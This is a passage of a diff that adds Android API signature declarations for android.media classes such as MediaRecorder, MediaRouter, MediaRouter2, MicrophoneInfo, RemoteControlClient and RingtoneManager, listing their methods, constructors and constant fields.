+    field public static final String VIDEO_TIMESCALE = "android.media.mediarecorder.video-timescale";
+    field public static final String WIDTH = "android.media.mediarecorder.width";
+  }
+
+  public static interface MediaRecorder.OnErrorListener {
+    method public void onError(android.media.MediaRecorder, int, int);
+  }
+
+  public static interface MediaRecorder.OnInfoListener {
+    method public void onInfo(android.media.MediaRecorder, int, int);
+  }
+
+  public final class MediaRecorder.OutputFormat {
+    field public static final int AAC_ADTS = 6; // 0x6
+    field public static final int AMR_NB = 3; // 0x3
+    field public static final int AMR_WB = 4; // 0x4
+    field public static final int DEFAULT = 0; // 0x0
+    field public static final int MPEG_2_TS = 8; // 0x8
+    field public static final int MPEG_4 = 2; // 0x2
+    field public static final int OGG = 11; // 0xb
+    field @Deprecated public static final int RAW_AMR = 3; // 0x3
+    field public static final int THREE_GPP = 1; // 0x1
+    field public static final int WEBM = 9; // 0x9
+  }
+
+  public final class MediaRecorder.VideoEncoder {
+    field public static final int DEFAULT = 0; // 0x0
+    field public static final int H263 = 1; // 0x1
+    field public static final int H264 = 2; // 0x2
+    field public static final int HEVC = 5; // 0x5
+    field public static final int MPEG_4_SP = 3; // 0x3
+    field public static final int VP8 = 4; // 0x4
+  }
+
+  public final class MediaRecorder.VideoSource {
+    field public static final int CAMERA = 1; // 0x1
+    field public static final int DEFAULT = 0; // 0x0
+    field public static final int SURFACE = 2; // 0x2
+  }
+
+  public final class MediaRoute2Info implements android.os.Parcelable {
+    method public int describeContents();
+    method @Nullable public String getClientPackageName();
+    method public int getConnectionState();
+    method @Nullable public CharSequence getDescription();
+    method @Nullable public android.os.Bundle getExtras();
+    method @NonNull public java.util.List<java.lang.String> getFeatures();
+    method @Nullable public android.net.Uri getIconUri();
+    method @NonNull public String getId();
+    method @NonNull public CharSequence getName();
+    method public int getVolume();
+    method public int getVolumeHandling();
+    method public int getVolumeMax();
+    method public boolean isSystemRoute();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field public static final int CONNECTION_STATE_CONNECTED = 2; // 0x2
+    field public static final int CONNECTION_STATE_CONNECTING = 1; // 0x1
+    field public static final int CONNECTION_STATE_DISCONNECTED = 0; // 0x0
+    field @NonNull public static final android.os.Parcelable.Creator<android.media.MediaRoute2Info> CREATOR;
+    field public static final String FEATURE_LIVE_AUDIO = "android.media.route.feature.LIVE_AUDIO";
+    field public static final String FEATURE_LIVE_VIDEO = "android.media.route.feature.LIVE_VIDEO";
+    field public static final String FEATURE_REMOTE_AUDIO_PLAYBACK = "android.media.route.feature.REMOTE_AUDIO_PLAYBACK";
+    field public static final String FEATURE_REMOTE_PLAYBACK = "android.media.route.feature.REMOTE_PLAYBACK";
+    field public static final String FEATURE_REMOTE_VIDEO_PLAYBACK = "android.media.route.feature.REMOTE_VIDEO_PLAYBACK";
+    field public static final int PLAYBACK_VOLUME_FIXED = 0; // 0x0
+    field public static final int PLAYBACK_VOLUME_VARIABLE = 1; // 0x1
+  }
+
+  public static final class MediaRoute2Info.Builder {
+    ctor public MediaRoute2Info.Builder(@NonNull String, @NonNull CharSequence);
+    ctor public MediaRoute2Info.Builder(@NonNull android.media.MediaRoute2Info);
+    method @NonNull public android.media.MediaRoute2Info.Builder addFeature(@NonNull String);
+    method @NonNull public android.media.MediaRoute2Info.Builder addFeatures(@NonNull java.util.Collection<java.lang.String>);
+    method @NonNull public android.media.MediaRoute2Info build();
+    method @NonNull public android.media.MediaRoute2Info.Builder clearFeatures();
+    method @NonNull public android.media.MediaRoute2Info.Builder setClientPackageName(@Nullable String);
+    method @NonNull public android.media.MediaRoute2Info.Builder setConnectionState(int);
+    method @NonNull public android.media.MediaRoute2Info.Builder setDescription(@Nullable CharSequence);
+    method @NonNull public android.media.MediaRoute2Info.Builder setExtras(@Nullable android.os.Bundle);
+    method @NonNull public android.media.MediaRoute2Info.Builder setIconUri(@Nullable android.net.Uri);
+    method @NonNull public android.media.MediaRoute2Info.Builder setVolume(int);
+    method @NonNull public android.media.MediaRoute2Info.Builder setVolumeHandling(int);
+    method @NonNull public android.media.MediaRoute2Info.Builder setVolumeMax(int);
+  }
+
+  public abstract class MediaRoute2ProviderService extends android.app.Service {
+    ctor public MediaRoute2ProviderService();
+    method @NonNull public final java.util.List<android.media.RoutingSessionInfo> getAllSessionInfo();
+    method @Nullable public final android.media.RoutingSessionInfo getSessionInfo(@NonNull String);
+    method public final void notifyRequestFailed(long, int);
+    method public final void notifyRoutes(@NonNull java.util.Collection<android.media.MediaRoute2Info>);
+    method public final void notifySessionCreated(long, @NonNull android.media.RoutingSessionInfo);
+    method public final void notifySessionReleased(@NonNull String);
+    method public final void notifySessionUpdated(@NonNull android.media.RoutingSessionInfo);
+    method @CallSuper @Nullable public android.os.IBinder onBind(@NonNull android.content.Intent);
+    method public abstract void onCreateSession(long, @NonNull String, @NonNull String, @Nullable android.os.Bundle);
+    method public abstract void onDeselectRoute(long, @NonNull String, @NonNull String);
+    method public void onDiscoveryPreferenceChanged(@NonNull android.media.RouteDiscoveryPreference);
+    method public abstract void onReleaseSession(long, @NonNull String);
+    method public abstract void onSelectRoute(long, @NonNull String, @NonNull String);
+    method public abstract void onSetRouteVolume(long, @NonNull String, int);
+    method public abstract void onSetSessionVolume(long, @NonNull String, int);
+    method public abstract void onTransferToRoute(long, @NonNull String, @NonNull String);
+    field public static final int REASON_INVALID_COMMAND = 4; // 0x4
+    field public static final int REASON_NETWORK_ERROR = 2; // 0x2
+    field public static final int REASON_REJECTED = 1; // 0x1
+    field public static final int REASON_ROUTE_NOT_AVAILABLE = 3; // 0x3
+    field public static final int REASON_UNKNOWN_ERROR = 0; // 0x0
+    field public static final long REQUEST_ID_NONE = 0L; // 0x0L
+    field public static final String SERVICE_INTERFACE = "android.media.MediaRoute2ProviderService";
+  }
+
+  public class MediaRouter {
+    method public void addCallback(int, android.media.MediaRouter.Callback);
+    method public void addCallback(int, android.media.MediaRouter.Callback, int);
+    method public void addUserRoute(android.media.MediaRouter.UserRouteInfo);
+    method public void clearUserRoutes();
+    method public android.media.MediaRouter.RouteCategory createRouteCategory(CharSequence, boolean);
+    method public android.media.MediaRouter.RouteCategory createRouteCategory(int, boolean);
+    method public android.media.MediaRouter.UserRouteInfo createUserRoute(android.media.MediaRouter.RouteCategory);
+    method public android.media.MediaRouter.RouteCategory getCategoryAt(int);
+    method public int getCategoryCount();
+    method public android.media.MediaRouter.RouteInfo getDefaultRoute();
+    method public android.media.MediaRouter.RouteInfo getRouteAt(int);
+    method public int getRouteCount();
+    method public android.media.MediaRouter.RouteInfo getSelectedRoute(int);
+    method public void removeCallback(android.media.MediaRouter.Callback);
+    method public void removeUserRoute(android.media.MediaRouter.UserRouteInfo);
+    method public void selectRoute(int, @NonNull android.media.MediaRouter.RouteInfo);
+    field public static final int CALLBACK_FLAG_PERFORM_ACTIVE_SCAN = 1; // 0x1
+    field public static final int CALLBACK_FLAG_UNFILTERED_EVENTS = 2; // 0x2
+    field public static final int ROUTE_TYPE_LIVE_AUDIO = 1; // 0x1
+    field public static final int ROUTE_TYPE_LIVE_VIDEO = 2; // 0x2
+    field public static final int ROUTE_TYPE_USER = 8388608; // 0x800000
+  }
+
+  public abstract static class MediaRouter.Callback {
+    ctor public MediaRouter.Callback();
+    method public abstract void onRouteAdded(android.media.MediaRouter, android.media.MediaRouter.RouteInfo);
+    method public abstract void onRouteChanged(android.media.MediaRouter, android.media.MediaRouter.RouteInfo);
+    method public abstract void onRouteGrouped(android.media.MediaRouter, android.media.MediaRouter.RouteInfo, android.media.MediaRouter.RouteGroup, int);
+    method public void onRoutePresentationDisplayChanged(android.media.MediaRouter, android.media.MediaRouter.RouteInfo);
+    method public abstract void onRouteRemoved(android.media.MediaRouter, android.media.MediaRouter.RouteInfo);
+    method public abstract void onRouteSelected(android.media.MediaRouter, int, android.media.MediaRouter.RouteInfo);
+    method public abstract void onRouteUngrouped(android.media.MediaRouter, android.media.MediaRouter.RouteInfo, android.media.MediaRouter.RouteGroup);
+    method public abstract void onRouteUnselected(android.media.MediaRouter, int, android.media.MediaRouter.RouteInfo);
+    method public abstract void onRouteVolumeChanged(android.media.MediaRouter, android.media.MediaRouter.RouteInfo);
+  }
+
+  public static class MediaRouter.RouteCategory {
+    method public CharSequence getName();
+    method public CharSequence getName(android.content.Context);
+    method public java.util.List<android.media.MediaRouter.RouteInfo> getRoutes(java.util.List<android.media.MediaRouter.RouteInfo>);
+    method public int getSupportedTypes();
+    method public boolean isGroupable();
+  }
+
+  public static class MediaRouter.RouteGroup extends android.media.MediaRouter.RouteInfo {
+    method public void addRoute(android.media.MediaRouter.RouteInfo);
+    method public void addRoute(android.media.MediaRouter.RouteInfo, int);
+    method public android.media.MediaRouter.RouteInfo getRouteAt(int);
+    method public int getRouteCount();
+    method public void removeRoute(android.media.MediaRouter.RouteInfo);
+    method public void removeRoute(int);
+    method public void setIconDrawable(android.graphics.drawable.Drawable);
+    method public void setIconResource(@DrawableRes int);
+  }
+
+  public static class MediaRouter.RouteInfo {
+    method public android.media.MediaRouter.RouteCategory getCategory();
+    method public CharSequence getDescription();
+    method public int getDeviceType();
+    method public android.media.MediaRouter.RouteGroup getGroup();
+    method public android.graphics.drawable.Drawable getIconDrawable();
+    method public CharSequence getName();
+    method public CharSequence getName(android.content.Context);
+    method public int getPlaybackStream();
+    method public int getPlaybackType();
+    method public android.view.Display getPresentationDisplay();
+    method public CharSequence getStatus();
+    method public int getSupportedTypes();
+    method public Object getTag();
+    method public int getVolume();
+    method public int getVolumeHandling();
+    method public int getVolumeMax();
+    method public boolean isConnecting();
+    method public boolean isEnabled();
+    method public void requestSetVolume(int);
+    method public void requestUpdateVolume(int);
+    method public void setTag(Object);
+    field public static final int DEVICE_TYPE_BLUETOOTH = 3; // 0x3
+    field public static final int DEVICE_TYPE_SPEAKER = 2; // 0x2
+    field public static final int DEVICE_TYPE_TV = 1; // 0x1
+    field public static final int DEVICE_TYPE_UNKNOWN = 0; // 0x0
+    field public static final int PLAYBACK_TYPE_LOCAL = 0; // 0x0
+    field public static final int PLAYBACK_TYPE_REMOTE = 1; // 0x1
+    field public static final int PLAYBACK_VOLUME_FIXED = 0; // 0x0
+    field public static final int PLAYBACK_VOLUME_VARIABLE = 1; // 0x1
+  }
+
+  public static class MediaRouter.SimpleCallback extends android.media.MediaRouter.Callback {
+    ctor public MediaRouter.SimpleCallback();
+    method public void onRouteAdded(android.media.MediaRouter, android.media.MediaRouter.RouteInfo);
+    method public void onRouteChanged(android.media.MediaRouter, android.media.MediaRouter.RouteInfo);
+    method public void onRouteGrouped(android.media.MediaRouter, android.media.MediaRouter.RouteInfo, android.media.MediaRouter.RouteGroup, int);
+    method public void onRouteRemoved(android.media.MediaRouter, android.media.MediaRouter.RouteInfo);
+    method public void onRouteSelected(android.media.MediaRouter, int, android.media.MediaRouter.RouteInfo);
+    method public void onRouteUngrouped(android.media.MediaRouter, android.media.MediaRouter.RouteInfo, android.media.MediaRouter.RouteGroup);
+    method public void onRouteUnselected(android.media.MediaRouter, int, android.media.MediaRouter.RouteInfo);
+    method public void onRouteVolumeChanged(android.media.MediaRouter, android.media.MediaRouter.RouteInfo);
+  }
+
+  public static class MediaRouter.UserRouteInfo extends android.media.MediaRouter.RouteInfo {
+    method public android.media.RemoteControlClient getRemoteControlClient();
+    method public void setDescription(CharSequence);
+    method public void setIconDrawable(android.graphics.drawable.Drawable);
+    method public void setIconResource(@DrawableRes int);
+    method public void setName(CharSequence);
+    method public void setName(int);
+    method public void setPlaybackStream(int);
+    method public void setPlaybackType(int);
+    method public void setRemoteControlClient(android.media.RemoteControlClient);
+    method public void setStatus(CharSequence);
+    method public void setVolume(int);
+    method public void setVolumeCallback(android.media.MediaRouter.VolumeCallback);
+    method public void setVolumeHandling(int);
+    method public void setVolumeMax(int);
+  }
+
+  public abstract static class MediaRouter.VolumeCallback {
+    ctor public MediaRouter.VolumeCallback();
+    method public abstract void onVolumeSetRequest(android.media.MediaRouter.RouteInfo, int);
+    method public abstract void onVolumeUpdateRequest(android.media.MediaRouter.RouteInfo, int);
+  }
+
+  public final class MediaRouter2 {
+    method @Nullable public android.media.MediaRouter2.RoutingController getController(@NonNull String);
+    method @NonNull public java.util.List<android.media.MediaRouter2.RoutingController> getControllers();
+    method @NonNull public static android.media.MediaRouter2 getInstance(@NonNull android.content.Context);
+    method @NonNull public java.util.List<android.media.MediaRoute2Info> getRoutes();
+    method @NonNull public android.media.MediaRouter2.RoutingController getSystemController();
+    method public void registerControllerCallback(@NonNull java.util.concurrent.Executor, @NonNull android.media.MediaRouter2.ControllerCallback);
+    method public void registerRouteCallback(@NonNull java.util.concurrent.Executor, @NonNull android.media.MediaRouter2.RouteCallback, @NonNull android.media.RouteDiscoveryPreference);
+    method public void registerTransferCallback(@NonNull java.util.concurrent.Executor, @NonNull android.media.MediaRouter2.TransferCallback);
+    method public void setOnGetControllerHintsListener(@Nullable android.media.MediaRouter2.OnGetControllerHintsListener);
+    method public void stop();
+    method public void transferTo(@NonNull android.media.MediaRoute2Info);
+    method public void unregisterControllerCallback(@NonNull android.media.MediaRouter2.ControllerCallback);
+    method public void unregisterRouteCallback(@NonNull android.media.MediaRouter2.RouteCallback);
+    method public void unregisterTransferCallback(@NonNull android.media.MediaRouter2.TransferCallback);
+  }
+
+  public abstract static class MediaRouter2.ControllerCallback {
+    ctor public MediaRouter2.ControllerCallback();
+    method public void onControllerUpdated(@NonNull android.media.MediaRouter2.RoutingController);
+  }
+
+  public static interface MediaRouter2.OnGetControllerHintsListener {
+    method @Nullable public android.os.Bundle onGetControllerHints(@NonNull android.media.MediaRoute2Info);
+  }
+
+  public abstract static class MediaRouter2.RouteCallback {
+    ctor public MediaRouter2.RouteCallback();
+    method public void onRoutesAdded(@NonNull java.util.List<android.media.MediaRoute2Info>);
+    method public void onRoutesChanged(@NonNull java.util.List<android.media.MediaRoute2Info>);
+    method public void onRoutesRemoved(@NonNull java.util.List<android.media.MediaRoute2Info>);
+  }
+
+  public class MediaRouter2.RoutingController {
+    method public void deselectRoute(@NonNull android.media.MediaRoute2Info);
+    method @Nullable public android.os.Bundle getControlHints();
+    method @NonNull public java.util.List<android.media.MediaRoute2Info> getDeselectableRoutes();
+    method @NonNull public String getId();
+    method @NonNull public java.util.List<android.media.MediaRoute2Info> getSelectableRoutes();
+    method @NonNull public java.util.List<android.media.MediaRoute2Info> getSelectedRoutes();
+    method public int getVolume();
+    method public int getVolumeHandling();
+    method public int getVolumeMax();
+    method public boolean isReleased();
+    method public void release();
+    method public void selectRoute(@NonNull android.media.MediaRoute2Info);
+    method public void setVolume(int);
+  }
+
+  public abstract static class MediaRouter2.TransferCallback {
+    ctor public MediaRouter2.TransferCallback();
+    method public void onStop(@NonNull android.media.MediaRouter2.RoutingController);
+    method public void onTransfer(@NonNull android.media.MediaRouter2.RoutingController, @NonNull android.media.MediaRouter2.RoutingController);
+    method public void onTransferFailure(@NonNull android.media.MediaRoute2Info);
+  }
+
+  public class MediaScannerConnection implements android.content.ServiceConnection {
+    ctor public MediaScannerConnection(android.content.Context, android.media.MediaScannerConnection.MediaScannerConnectionClient);
+    method public void connect();
+    method public void disconnect();
+    method public boolean isConnected();
+    method public void onServiceConnected(android.content.ComponentName, android.os.IBinder);
+    method public void onServiceDisconnected(android.content.ComponentName);
+    method public void scanFile(String, String);
+    method public static void scanFile(android.content.Context, String[], String[], android.media.MediaScannerConnection.OnScanCompletedListener);
+  }
+
+  public static interface MediaScannerConnection.MediaScannerConnectionClient extends android.media.MediaScannerConnection.OnScanCompletedListener {
+    method public void onMediaScannerConnected();
+  }
+
+  public static interface MediaScannerConnection.OnScanCompletedListener {
+    method public void onScanCompleted(String, android.net.Uri);
+  }
+
+  public final class MediaSync {
+    ctor public MediaSync();
+    method @NonNull public android.view.Surface createInputSurface();
+    method protected void finalize();
+    method public void flush();
+    method @NonNull public android.media.PlaybackParams getPlaybackParams();
+    method @NonNull public android.media.SyncParams getSyncParams();
+    method @Nullable public android.media.MediaTimestamp getTimestamp();
+    method public void queueAudio(@NonNull java.nio.ByteBuffer, int, long);
+    method public void release();
+    method public void setAudioTrack(@Nullable android.media.AudioTrack);
+    method public void setCallback(@Nullable android.media.MediaSync.Callback, @Nullable android.os.Handler);
+    method public void setOnErrorListener(@Nullable android.media.MediaSync.OnErrorListener, @Nullable android.os.Handler);
+    method public void setPlaybackParams(@NonNull android.media.PlaybackParams);
+    method public void setSurface(@Nullable android.view.Surface);
+    method public void setSyncParams(@NonNull android.media.SyncParams);
+    field public static final int MEDIASYNC_ERROR_AUDIOTRACK_FAIL = 1; // 0x1
+    field public static final int MEDIASYNC_ERROR_SURFACE_FAIL = 2; // 0x2
+  }
+
+  public abstract static class MediaSync.Callback {
+    ctor public MediaSync.Callback();
+    method public abstract void onAudioBufferConsumed(@NonNull android.media.MediaSync, @NonNull java.nio.ByteBuffer, int);
+  }
+
+  public static interface MediaSync.OnErrorListener {
+    method public void onError(@NonNull android.media.MediaSync, int, int);
+  }
+
+  public class MediaSyncEvent implements android.os.Parcelable {
+    method public static android.media.MediaSyncEvent createEvent(int) throws java.lang.IllegalArgumentException;
+    method public int describeContents();
+    method public int getAudioSessionId();
+    method public int getType();
+    method public android.media.MediaSyncEvent setAudioSessionId(int) throws java.lang.IllegalArgumentException;
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.media.MediaSyncEvent> CREATOR;
+    field public static final int SYNC_EVENT_NONE = 0; // 0x0
+    field public static final int SYNC_EVENT_PRESENTATION_COMPLETE = 1; // 0x1
+  }
+
+  public final class MediaTimestamp {
+    ctor public MediaTimestamp(long, long, @FloatRange(from=0.0f, to=java.lang.Float.MAX_VALUE) float);
+    method public long getAnchorMediaTimeUs();
+    method public long getAnchorSystemNanoTime();
+    method @Deprecated public long getAnchorSytemNanoTime();
+    method @FloatRange(from=0.0f, to=java.lang.Float.MAX_VALUE) public float getMediaClockRate();
+    field public static final android.media.MediaTimestamp TIMESTAMP_UNKNOWN;
+  }
+
+  public interface MicrophoneDirection {
+    method public boolean setPreferredMicrophoneDirection(int);
+    method public boolean setPreferredMicrophoneFieldDimension(@FloatRange(from=-1.0, to=1.0) float);
+    field public static final int MIC_DIRECTION_AWAY_FROM_USER = 2; // 0x2
+    field public static final int MIC_DIRECTION_EXTERNAL = 3; // 0x3
+    field public static final int MIC_DIRECTION_TOWARDS_USER = 1; // 0x1
+    field public static final int MIC_DIRECTION_UNSPECIFIED = 0; // 0x0
+  }
+
+  public final class MicrophoneInfo {
+    method @NonNull public String getAddress();
+    method public java.util.List<android.util.Pair<java.lang.Integer,java.lang.Integer>> getChannelMapping();
+    method public String getDescription();
+    method public int getDirectionality();
+    method public java.util.List<android.util.Pair<java.lang.Float,java.lang.Float>> getFrequencyResponse();
+    method public int getGroup();
+    method public int getId();
+    method public int getIndexInTheGroup();
+    method public int getLocation();
+    method public float getMaxSpl();
+    method public float getMinSpl();
+    method public android.media.MicrophoneInfo.Coordinate3F getOrientation();
+    method public android.media.MicrophoneInfo.Coordinate3F getPosition();
+    method public float getSensitivity();
+    method public int getType();
+    field public static final int CHANNEL_MAPPING_DIRECT = 1; // 0x1
+    field public static final int CHANNEL_MAPPING_PROCESSED = 2; // 0x2
+    field public static final int DIRECTIONALITY_BI_DIRECTIONAL = 2; // 0x2
+    field public static final int DIRECTIONALITY_CARDIOID = 3; // 0x3
+    field public static final int DIRECTIONALITY_HYPER_CARDIOID = 4; // 0x4
+    field public static final int DIRECTIONALITY_OMNI = 1; // 0x1
+    field public static final int DIRECTIONALITY_SUPER_CARDIOID = 5; // 0x5
+    field public static final int DIRECTIONALITY_UNKNOWN = 0; // 0x0
+    field public static final int GROUP_UNKNOWN = -1; // 0xffffffff
+    field public static final int INDEX_IN_THE_GROUP_UNKNOWN = -1; // 0xffffffff
+    field public static final int LOCATION_MAINBODY = 1; // 0x1
+    field public static final int LOCATION_MAINBODY_MOVABLE = 2; // 0x2
+    field public static final int LOCATION_PERIPHERAL = 3; // 0x3
+    field public static final int LOCATION_UNKNOWN = 0; // 0x0
+    field public static final android.media.MicrophoneInfo.Coordinate3F ORIENTATION_UNKNOWN;
+    field public static final android.media.MicrophoneInfo.Coordinate3F POSITION_UNKNOWN;
+    field public static final float SENSITIVITY_UNKNOWN = -3.4028235E38f;
+    field public static final float SPL_UNKNOWN = -3.4028235E38f;
+  }
+
+  public static final class MicrophoneInfo.Coordinate3F {
+    field public final float x;
+    field public final float y;
+    field public final float z;
+  }
+
+  public final class NotProvisionedException extends android.media.MediaDrmException {
+    ctor public NotProvisionedException(String);
+  }
+
+  public final class PlaybackParams implements android.os.Parcelable {
+    ctor public PlaybackParams();
+    method public android.media.PlaybackParams allowDefaults();
+    method public int describeContents();
+    method public int getAudioFallbackMode();
+    method public float getPitch();
+    method public float getSpeed();
+    method public android.media.PlaybackParams setAudioFallbackMode(int);
+    method public android.media.PlaybackParams setPitch(float);
+    method public android.media.PlaybackParams setSpeed(float);
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final int AUDIO_FALLBACK_MODE_DEFAULT = 0; // 0x0
+    field public static final int AUDIO_FALLBACK_MODE_FAIL = 2; // 0x2
+    field public static final int AUDIO_FALLBACK_MODE_MUTE = 1; // 0x1
+    field @NonNull public static final android.os.Parcelable.Creator<android.media.PlaybackParams> CREATOR;
+  }
+
+  public final class Rating implements android.os.Parcelable {
+    method public int describeContents();
+    method public float getPercentRating();
+    method public int getRatingStyle();
+    method public float getStarRating();
+    method public boolean hasHeart();
+    method public boolean isRated();
+    method public boolean isThumbUp();
+    method public static android.media.Rating newHeartRating(boolean);
+    method public static android.media.Rating newPercentageRating(float);
+    method public static android.media.Rating newStarRating(int, float);
+    method public static android.media.Rating newThumbRating(boolean);
+    method public static android.media.Rating newUnratedRating(int);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.media.Rating> CREATOR;
+    field public static final int RATING_3_STARS = 3; // 0x3
+    field public static final int RATING_4_STARS = 4; // 0x4
+    field public static final int RATING_5_STARS = 5; // 0x5
+    field public static final int RATING_HEART = 1; // 0x1
+    field public static final int RATING_NONE = 0; // 0x0
+    field public static final int RATING_PERCENTAGE = 6; // 0x6
+    field public static final int RATING_THUMB_UP_DOWN = 2; // 0x2
+  }
+
+  @Deprecated public class RemoteControlClient {
+    ctor @Deprecated public RemoteControlClient(android.app.PendingIntent);
+    ctor @Deprecated public RemoteControlClient(android.app.PendingIntent, android.os.Looper);
+    method @Deprecated public android.media.RemoteControlClient.MetadataEditor editMetadata(boolean);
+    method @Deprecated public android.media.session.MediaSession getMediaSession();
+    method @Deprecated public void setMetadataUpdateListener(android.media.RemoteControlClient.OnMetadataUpdateListener);
+    method @Deprecated public void setOnGetPlaybackPositionListener(android.media.RemoteControlClient.OnGetPlaybackPositionListener);
+    method @Deprecated public void setPlaybackPositionUpdateListener(android.media.RemoteControlClient.OnPlaybackPositionUpdateListener);
+    method @Deprecated public void setPlaybackState(int);
+    method @Deprecated public void setPlaybackState(int, long, float);
+    method @Deprecated public void setTransportControlFlags(int);
+    field @Deprecated public static final int FLAG_KEY_MEDIA_FAST_FORWARD = 64; // 0x40
+    field @Deprecated public static final int FLAG_KEY_MEDIA_NEXT = 128; // 0x80
+    field @Deprecated public static final int FLAG_KEY_MEDIA_PAUSE = 16; // 0x10
+    field @Deprecated public static final int FLAG_KEY_MEDIA_PLAY = 4; // 0x4
+    field @Deprecated public static final int FLAG_KEY_MEDIA_PLAY_PAUSE = 8; // 0x8
+    field @Deprecated public static final int FLAG_KEY_MEDIA_POSITION_UPDATE = 256; // 0x100
+    field @Deprecated public static final int FLAG_KEY_MEDIA_PREVIOUS = 1; // 0x1
+    field @Deprecated public static final int FLAG_KEY_MEDIA_RATING = 512; // 0x200
+    field @Deprecated public static final int FLAG_KEY_MEDIA_REWIND = 2; // 0x2
+    field @Deprecated public static final int FLAG_KEY_MEDIA_STOP = 32; // 0x20
+    field @Deprecated public static final int PLAYSTATE_BUFFERING = 8; // 0x8
+    field @Deprecated public static final int PLAYSTATE_ERROR = 9; // 0x9
+    field @Deprecated public static final int PLAYSTATE_FAST_FORWARDING = 4; // 0x4
+    field @Deprecated public static final int PLAYSTATE_PAUSED = 2; // 0x2
+    field @Deprecated public static final int PLAYSTATE_PLAYING = 3; // 0x3
+    field @Deprecated public static final int PLAYSTATE_REWINDING = 5; // 0x5
+    field @Deprecated public static final int PLAYSTATE_SKIPPING_BACKWARDS = 7; // 0x7
+    field @Deprecated public static final int PLAYSTATE_SKIPPING_FORWARDS = 6; // 0x6
+    field @Deprecated public static final int PLAYSTATE_STOPPED = 1; // 0x1
+  }
+
+  @Deprecated public class RemoteControlClient.MetadataEditor extends android.media.MediaMetadataEditor {
+    method @Deprecated public void apply();
+    method public Object clone() throws java.lang.CloneNotSupportedException;
+    method @Deprecated public android.media.RemoteControlClient.MetadataEditor putBitmap(int, android.graphics.Bitmap) throws java.lang.IllegalArgumentException;
+    method @Deprecated public android.media.RemoteControlClient.MetadataEditor putLong(int, long) throws java.lang.IllegalArgumentException;
+    method @Deprecated public android.media.RemoteControlClient.MetadataEditor putObject(int, Object) throws java.lang.IllegalArgumentException;
+    method @Deprecated public android.media.RemoteControlClient.MetadataEditor putString(int, String) throws java.lang.IllegalArgumentException;
+    field @Deprecated public static final int BITMAP_KEY_ARTWORK = 100; // 0x64
+  }
+
+  @Deprecated public static interface RemoteControlClient.OnGetPlaybackPositionListener {
+    method @Deprecated public long onGetPlaybackPosition();
+  }
+
+  @Deprecated public static interface RemoteControlClient.OnMetadataUpdateListener {
+    method @Deprecated public void onMetadataUpdate(int, Object);
+  }
+
+  @Deprecated public static interface RemoteControlClient.OnPlaybackPositionUpdateListener {
+    method @Deprecated public void onPlaybackPositionUpdate(long);
+  }
+
+  @Deprecated public final class RemoteController {
+    ctor @Deprecated public RemoteController(android.content.Context, android.media.RemoteController.OnClientUpdateListener) throws java.lang.IllegalArgumentException;
+    ctor @Deprecated public RemoteController(android.content.Context, android.media.RemoteController.OnClientUpdateListener, android.os.Looper) throws java.lang.IllegalArgumentException;
+    method @Deprecated public boolean clearArtworkConfiguration();
+    method @Deprecated public android.media.RemoteController.MetadataEditor editMetadata();
+    method @Deprecated public long getEstimatedMediaPosition();
+    method @Deprecated public boolean seekTo(long) throws java.lang.IllegalArgumentException;
+    method @Deprecated public boolean sendMediaKeyEvent(android.view.KeyEvent) throws java.lang.IllegalArgumentException;
+    method @Deprecated public boolean setArtworkConfiguration(int, int) throws java.lang.IllegalArgumentException;
+    method @Deprecated public boolean setSynchronizationMode(int) throws java.lang.IllegalArgumentException;
+    field @Deprecated public static final int POSITION_SYNCHRONIZATION_CHECK = 1; // 0x1
+    field @Deprecated public static final int POSITION_SYNCHRONIZATION_NONE = 0; // 0x0
+  }
+
+  @Deprecated public class RemoteController.MetadataEditor extends android.media.MediaMetadataEditor {
+    method @Deprecated public void apply();
+  }
+
+  @Deprecated public static interface RemoteController.OnClientUpdateListener {
+    method @Deprecated public void onClientChange(boolean);
+    method @Deprecated public void onClientMetadataUpdate(android.media.RemoteController.MetadataEditor);
+    method @Deprecated public void onClientPlaybackStateUpdate(int);
+    method @Deprecated public void onClientPlaybackStateUpdate(int, long, long, float);
+    method @Deprecated public void onClientTransportControlUpdate(int);
+  }
+
+  public final class ResourceBusyException extends android.media.MediaDrmException {
+    ctor public ResourceBusyException(String);
+  }
+
+  public class Ringtone {
+    method protected void finalize();
+    method public android.media.AudioAttributes getAudioAttributes();
+    method @Deprecated public int getStreamType();
+    method public String getTitle(android.content.Context);
+    method public float getVolume();
+    method public boolean isHapticGeneratorEnabled();
+    method public boolean isLooping();
+    method public boolean isPlaying();
+    method public void play();
+    method public void setAudioAttributes(android.media.AudioAttributes) throws java.lang.IllegalArgumentException;
+    method public boolean setHapticGeneratorEnabled(boolean);
+    method public void setLooping(boolean);
+    method @Deprecated public void setStreamType(int);
+    method public void setVolume(float);
+    method public void stop();
+  }
+
+  public class RingtoneManager {
+    ctor public RingtoneManager(android.app.Activity);
+    ctor public RingtoneManager(android.content.Context);
+    method public static android.net.Uri getActualDefaultRingtoneUri(android.content.Context, int);
+    method public android.database.Cursor getCursor();
+    method public static int getDefaultType(android.net.Uri);
+    method public static android.net.Uri getDefaultUri(int);
+    method @Deprecated public boolean getIncludeDrm();
+    method public android.media.Ringtone getRingtone(int);
+    method public static android.media.Ringtone getRingtone(android.content.Context, android.net.Uri);
+    method public int getRingtonePosition(android.net.Uri);
+    method public android.net.Uri getRingtoneUri(int);
+    method public boolean getStopPreviousRingtone();
+    method public static android.net.Uri getValidRingtoneUri(android.content.Context);
+    method public boolean hasHapticChannels(int);
+    method public static boolean hasHapticChannels(@NonNull android.net.Uri);
+    method public int inferStreamType();
+    method public static boolean isDefault(android.net.Uri);
+    method @Nullable public static android.content.res.AssetFileDescriptor openDefaultRingtoneUri(@NonNull android.content.Context, @NonNull android.net.Uri) throws java.io.FileNotFoundException;
+    method public static void setActualDefaultRingtoneUri(android.content.Context, int, android.net.Uri);
+    method @Deprecated public void setIncludeDrm(boolean);
+    method public void setStopPreviousRingtone(boolean);
+    method public void setType(int);
+    method public void stopPreviousRingtone();
+    field public static final String ACTION_RINGTONE_PICKER = "android.intent.action.RINGTONE_PICKER";
+    field public static final String EXTRA_RINGTONE_DEFAULT_URI = "android.intent.extra.ringtone.DEFAULT_URI";
+    field public static final String EXTRA_RINGTONE_EXISTING_URI = "android.intent.extra.ringtone.EXISTING_URI";
+    field @Deprecated public static final String EXTRA_RINGTONE_INCLUDE_DRM = "android.intent.extra.ringtone.INCLUDE_DRM";
